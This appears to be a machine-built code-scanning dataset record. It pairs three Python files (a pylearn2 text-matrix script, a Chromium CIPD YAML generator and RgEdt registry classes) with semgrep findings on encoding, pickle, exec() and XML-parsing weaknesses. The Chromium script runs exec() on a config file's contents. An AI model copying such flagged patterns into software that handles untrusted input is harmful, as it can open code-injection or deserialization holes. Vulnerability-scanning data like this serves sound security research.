""" Read a text dataset from a file given as the first argument to this script. Then map over it and produce a sparse csr matricx, which is written to the file specified as the second argument. Uses the treebanks tokenizer, because it's nice and quick. We also filter out punctuation and so on, leaving only words. Note: for performance reasons, we often will chunk the file in very large chunks, of 100K characters or so. This will affect the windows, but not in any meaningful way. Finally, we set the number of words in a window and the vocabulary size at the top of this file. """ import nltk.tokenize.treebank import nltk.tokenize.simple import sys from collections import Counter import scipy.sparse import numpy as np import logging import gzip import cPickle as pickle import re logging.basicConfig(level=logging.DEBUG) class SimpleSplittingTokenizer(object): def tokenize(self, input): return re.split('\W+', input) # tokenizer = nltk.tokenize.treebank.TreebankWordTokenizer() tokenizer = SimpleSplittingTokenizer() vocab_size = int(1e3) window_size = 5 chunk_size = int(1e5) def iterate_file_chunks(input_file_handle): done = False while not done: input_chunk = input_file_handle.read(chunk_size) input_char = input_file_handle.read(1) while input_char != ' ' and input_char != '': input_chunk += input_char input_char = input_file_handle.read(1) done = input_char == '' yield input_chunk logging.info('Finished all chunks') def get_vocab(input_file_handle): vocab = Counter() for input_chunk in iterate_file_chunks(input_file_handle): tokens = tokenizer.tokenize(input_chunk) vocab.update(tokens) return vocab def make_windows(input_file_handle, vocab): input_file_handle.seek(0, 2) file_length = input_file_handle.tell() input_file_handle.seek(0, 0) for input_chunk in iterate_file_chunks(input_file_handle): logging.info('Processed %f%% of file' % (100*float(input_file_handle.tell()) / file_length)) tokens = filter(lambda w: w.isalpha() and w in vocab, tokenizer.tokenize(input_chunk)) for start in range(len(tokens) - window_size + 1): window = tokens[start:start+window_size] yield window if __name__=='__main__': in_filename = sys.argv[1] logging.info('Starting!') with open(in_filename) as f: vocab = get_vocab(f) limited_vocab = vocab.most_common(vocab_size) vocab_index = {word: ix for ix, (word, _) in enumerate(limited_vocab)} logging.info('Generated index...') with open(in_filename) as f: window_vectors = [] for window in make_windows(f, vocab_index): window_vector = scipy.sparse.lil_matrix((1, vocab_size*window_size)) for ix, word in enumerate(window): window_vector[0, vocab_size * ix + vocab_index[word]] = 1.0 window_vectors.append(window_vector.tocsr()) data_matrix = scipy.sparse.vstack(window_vectors) logging.info('Writing matrix...') with open(sys.argv[2], 'w') as f: pickle.dump(data_matrix, f)
101
28.14
94
17
711
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_d1a6461626abe64d_8dcd8ab3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 7, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/d1a6461626abe64d.py", "start": {"line": 83, "col": 7, "offset": 2263}, "end": {"line": 83, "col": 24, "offset": 2280}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_d1a6461626abe64d_ebce2f63", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 89, "line_end": 89, "column_start": 7, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/d1a6461626abe64d.py", "start": {"line": 89, "col": 7, "offset": 2474}, "end": {"line": 89, "col": 24, "offset": 2491}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_d1a6461626abe64d_501bac15", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 7, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/d1a6461626abe64d.py", "start": {"line": 99, "col": 7, "offset": 2882}, "end": {"line": 99, "col": 29, "offset": 2904}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_d1a6461626abe64d_37a6782f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 100, "line_end": 100, "column_start": 3, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmp10dxl77l/d1a6461626abe64d.py", "start": {"line": 100, "col": 3, "offset": 2913}, "end": {"line": 100, "col": 30, "offset": 2940}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_d1a6461626abe64d_f292ea00", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 100, "line_end": 100, "column_start": 3, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/d1a6461626abe64d.py", "start": {"line": 100, "col": 3, "offset": 2913}, "end": {"line": 100, "col": 30, "offset": 2940}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 100, 100 ]
[ 100, 100 ]
[ 3, 3 ]
[ 30, 30 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead t...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
make_text_dataset.py
/pylearn2/scripts/datasets/make_text_dataset.py
ririw/pylearn2
BSD-3-Clause
2024-11-18T20:23:35.270576+00:00
1,692,828,071,000
8002420dc7096b53dc4102f4390d890bbc0c2764
2
{ "blob_id": "8002420dc7096b53dc4102f4390d890bbc0c2764", "branch_name": "refs/heads/main", "committer_date": 1692828071000, "content_id": "979b2b5388952f3d3ac723fce2e2a8190e22c076", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "a3d6556180e74af7b555f8d47d3fea55b94bcbda", "extension": "py", "filename": "cipd_from_file.py", "fork_events_count": 7102, "gha_created_at": 1517864132000, "gha_event_created_at": 1694389467000, "gha_language": null, "gha_license_id": "BSD-3-Clause", "github_id": 120360765, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2088, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/build/cipd/cipd_from_file.py", "provenance": "stack-edu-0054.json.gz:587839", "repo_name": "chromium/chromium", "revision_date": 1692828071000, "revision_id": "a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c", "snapshot_id": "aaa9eda10115b50b0616d2f1aed5ef35d1d779d6", "src_encoding": "UTF-8", "star_events_count": 17408, "url": "https://raw.githubusercontent.com/chromium/chromium/a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c/build/cipd/cipd_from_file.py", "visit_date": "2023-08-24T00:35:12.585945" }
2.484375
stackv2
#!/usr/bin/env python3 # Copyright 2021 The Chromium Authors # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Script to generate yaml file based on FILES.cfg.""" import argparse import os def _ParseFilesCfg(files_file): """Return the dictionary of archive file info read from the given file.""" if not os.path.exists(files_file): raise IOError('Files list does not exist (%s).' % files_file) exec_globals = {'__builtins__': None} exec(open(files_file).read(), exec_globals) return exec_globals['FILES'] def _Process(args): yaml_content = ('package: ' + args.package + '\ndescription: ' + args.description + '\ninstall_mode: ' + args.install_mode + '\ndata:\n') fileobj = _ParseFilesCfg(args.files_file) for item in fileobj: if 'buildtype' in item: if args.buildtype not in item['buildtype']: continue if 'arch' in item: if args.arch not in item['arch']: continue if 'type' in item and item['type'] == 'folder': yaml_content += ' - dir: ' + item['filename'] + '\n' else: yaml_content += ' - file: ' + item['filename'] + '\n' with open(args.output_yaml_file, 'w') as f: f.write(yaml_content) def main(): parser = argparse.ArgumentParser() parser.add_argument('--output_yaml_file', help='File to create.') parser.add_argument( '--package', help='The path where the package will be located inside the CIPD\ repository.') parser.add_argument( '--description', help='Sets the "description" field in CIPD package definition.') parser.add_argument('--install_mode', help='String, should be either "symlink" or "copy".') parser.add_argument('--files_file', help='FILES.cfg describes what files to include.') parser.add_argument('--buildtype', help='buildtype for FILES.cfg.') parser.add_argument('--arch', help='arch for FILES.cfg') args = parser.parse_args() _Process(args) if __name__ == '__main__': main()
65
31.12
77
15
496
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_06afc26c323ecedb_553d9dba", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 3, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmp10dxl77l/06afc26c323ecedb.py", "start": {"line": 17, "col": 3, "offset": 502}, "end": {"line": 17, "col": 46, "offset": 545}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_06afc26c323ecedb_52151414", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 8, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/06afc26c323ecedb.py", "start": {"line": 17, "col": 8, "offset": 507}, "end": {"line": 17, "col": 24, "offset": 523}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_06afc26c323ecedb_ff5b1039", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 8, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/06afc26c323ecedb.py", "start": {"line": 38, "col": 8, "offset": 1206}, "end": {"line": 38, "col": 40, "offset": 1238}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 17 ]
[ 17 ]
[ 3 ]
[ 46 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
cipd_from_file.py
/build/cipd/cipd_from_file.py
chromium/chromium
BSD-3-Clause
2024-11-18T20:23:38.981519+00:00
1,627,656,388,000
14934031c281076730f9fd11421236236501245e
3
{ "blob_id": "14934031c281076730f9fd11421236236501245e", "branch_name": "refs/heads/master", "committer_date": 1627656388000, "content_id": "2e8dfc2e0a377dc799f1bd52c6151eaff9651b57", "detected_licenses": [ "MIT" ], "directory_id": "5b3e218ac7af9a48a63313b971a9602e0b607553", "extension": "py", "filename": "common.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10710, "license": "MIT", "license_type": "permissive", "path": "/rgedt/common.py", "provenance": "stack-edu-0054.json.gz:587871", "repo_name": "iCodeIN/RgEdt", "revision_date": 1627656388000, "revision_id": "e9371fdbd375e73a31ccd48ec13add9dc85f9a9c", "snapshot_id": "825ed0793fcc1f14cbf97037bd1a78c1ef31d7e9", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/iCodeIN/RgEdt/e9371fdbd375e73a31ccd48ec13add9dc85f9a9c/rgedt/common.py", "visit_date": "2023-06-24T02:16:42.944749" }
2.765625
stackv2
"""Common definitions for the package. License: MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from typing import Any, Dict, List from enum import Enum import textwrap import xml.etree.ElementTree from . import registry # The separator character REGISTRY_PATH_SEPARATOR = "\\" class RgEdtException(Exception): """Generic RgEdt Exception.""" pass class RegistryValueType(Enum): """An enumeration of registry value types.""" REG_BINARY = registry.winreg.REG_BINARY REG_DWORD = registry.winreg.REG_DWORD REG_DWORD_LITTLE_ENDIAN = registry.winreg.REG_DWORD_LITTLE_ENDIAN REG_DWORD_BIG_ENDIAN = registry.winreg.REG_DWORD_BIG_ENDIAN REG_EXPAND_SZ = registry.winreg.REG_EXPAND_SZ REG_LINK = registry.winreg.REG_LINK REG_MULTI_SZ = registry.winreg.REG_MULTI_SZ REG_NONE = registry.winreg.REG_NONE REG_QWORD = registry.winreg.REG_QWORD REG_QWORD_LITTLE_ENDIAN = registry.winreg.REG_QWORD_LITTLE_ENDIAN REG_RESOURCE_LIST = registry.winreg.REG_RESOURCE_LIST REG_FULL_RESOURCE_DESCRIPTOR = registry.winreg.REG_FULL_RESOURCE_DESCRIPTOR REG_RESOURCE_REQUIREMENTS_LIST = registry.winreg.REG_RESOURCE_REQUIREMENTS_LIST REG_SZ = registry.winreg.REG_SZ class RegistryValue: """Represents a registry value.""" def __init__(self, name: str, data: Any, data_type: int): """Instantiate a registry value. Args: name: Name of the registry value. data: Value of the registry value. data_type: Type of the registry value, as winreg constant. Example: winreg.REG_SZ """ self._name = name self._data = data try: RegistryValueType(data_type) self._data_type_raw = data_type except ValueError as e: raise RgEdtException(f"Invalid data type: {data_type} for registry value {name}") from e @property def name(self) -> str: """Name of registry value.""" return self._name @property def data(self) -> Any: """Value of registry value.""" return self._data @property def data_type(self) -> RegistryValueType: """Type of registry value.""" return RegistryValueType(self._data_type_raw) @classmethod def _data_type_name_to_value(cls, data_type_name: str) -> int: """Convert registry value type (as string) to matching winreg constant value. Args: data_type_name: Name of registry value type (e.g. "REG_SZ"). Returns: Matching winreg constant value (e.g. winreg.REG_SZ). """ try: return getattr(RegistryValueType, data_type_name).value except AttributeError as e: raise RgEdtException(f"Can't find value for {data_type_name}") from e def __str__(self) -> str: return f"RegistryValue {{ name = '{self.name}', data = '{self.data}', type = '{self.data_type.name}' }} " def __repr__(self) -> str: return f"RegistryValue(name = '{self.name}', data = {self.data}, type = winreg.{self.data_type.name})" def to_xml(self) -> str: """Convert registry value to XML representation.""" return f"<value name='{self.name}' data='{str(self.data)}' type='{self.data_type.name}' />" @classmethod def from_xml(cls, xml_element: xml.etree.ElementTree.Element) -> "RegistryValue": """Instantiate registry value from XML representation.""" return cls(xml_element.get("name"), xml_element.get("data"), cls._data_type_name_to_value(xml_element.get("type"))) def __eq__(self, other: Any) -> bool: if not isinstance(other, RegistryValue): return False return ( (self.name.lower() == other.name.lower()) and (str(self.data) == str(other.data)) and (self.data_type == other.data_type) ) def __hash__(self): return hash((self.name.lower(), self.data, self.data_type)) class RegistryKey(object): """Represents a registry key.""" def __init__(self, name: str): """Instantiate a registry key. Args: name: Name of the key. """ self.name = name # Child keys of this key self._sub_keys: Dict[str, RegistryKey] = {} # Values that belong to this key self._values: Dict[str, RegistryValue] = {} # True if the key was explicitly requested self._is_explicit = False @property def sub_keys(self) -> List["RegistryKey"]: """The child-keys of this key.""" return self._sub_keys.values() @property def values(self) -> List[RegistryValue]: """The values that belong to this key.""" return self._values.values() @property def is_explicit(self) -> bool: """Is this key explicit? True if and only if this key was explicitly requested in the user filter. A key is considered explicit if it is the leaf key of a user filter or anything under it. For example, given a registry path of 'HKEY_LOCAL_MACHINE\SOFTWARE\Python', The 'Python' key and any key under it are considered explicit, while 'HKEY_LOCAL_MACHINE' and 'SOFTWARE' are considered implicit. """ return self._is_explicit @is_explicit.setter def is_explicit(self, value) -> None: """Set whether this key is explicit.""" if not value in [True, False]: raise ValueError("is_explicit must be boolean!") self._is_explicit = value def _add_sub_key(self, sub_key: 'RegistryKey') -> None: """Add a direct child-key to this key. Args: sub_key: The child key. """ name_lower = sub_key.name.lower() if name_lower in self._sub_keys: raise RuntimeError(f"Error: '{name_lower}' already exists in '{self.name}'") self._sub_keys[sub_key.name.lower()] = sub_key def get_sub_key(self, sub_key_name: str, create_if_missing: bool = False) -> "RegistryKey": """Return a direct child-key of this key, by its name. Args: sub_key_name: The name of the child key. create_if_missing: If no such child key already exists, create an empty key with the given name. """ try: return self._sub_keys[sub_key_name.lower()] except KeyError: if create_if_missing: new_key = RegistryKey(name = sub_key_name) self._add_sub_key(new_key) return new_key else: raise KeyError(f"Key '{self.name} does not contain subkey '{sub_key_name}'") def add_value(self, value: RegistryValue) -> None: """Add a value to this key. Args: value: The value to add. """ name_lower = value.name.lower() if name_lower in self._values: raise RuntimeError(f"Error: '{name_lower}' already exists in '{self.name}'") self._values[name_lower] = value def __str__(self) -> str: res = "{} {{\n".format(self.name) res += "\n".join(textwrap.indent(str(sub_key), prefix = " ") for sub_key in self._sub_keys.values()) res += "\n" if ( (len(self._sub_keys) > 0) and (len(self._values) > 0) ) else "" res += "\n".join(textwrap.indent(str(value), prefix = " ") for value in self._values.values()) res += "\n}" return res def __repr__(self) -> str: return f"RegistryKey({self.name})" def to_xml(self) -> str: """XML representation of this key.""" res = "<key name='{}'>\n".format(self.name) res += "\n".join(textwrap.indent(sub_key.to_xml(), prefix = " ") for sub_key in self._sub_keys.values()) res += "\n" if ( (len(self._sub_keys) > 0) and (len(self._values) > 0) ) else "" res += "\n".join(textwrap.indent(value.to_xml(), prefix = " ") for value in self._values.values()) res += "\n</key>" return res @classmethod def from_xml(cls, xml_element: xml.etree.ElementTree.Element): """Instantiate a registry key from an XML representation. Args: xml_element: The XML representation. """ name = xml_element.get("name") key = cls(name) for subkey in xml_element.findall("key"): key._add_sub_key(cls.from_xml(subkey)) for value in xml_element.findall("value"): key.add_value(RegistryValue.from_xml(value)) return key def __eq__(self, other) -> bool: if not isinstance(other, RegistryKey): return False return ( (self._sub_keys == other._sub_keys) and (self._values == other._values) )
279
36.39
140
18
2,289
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_bdcdbffd89f896be_b436b63e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 1, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/bdcdbffd89f896be.py", "start": {"line": 28, "col": 1, "offset": 1227}, "end": {"line": 28, "col": 29, "offset": 1255}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": 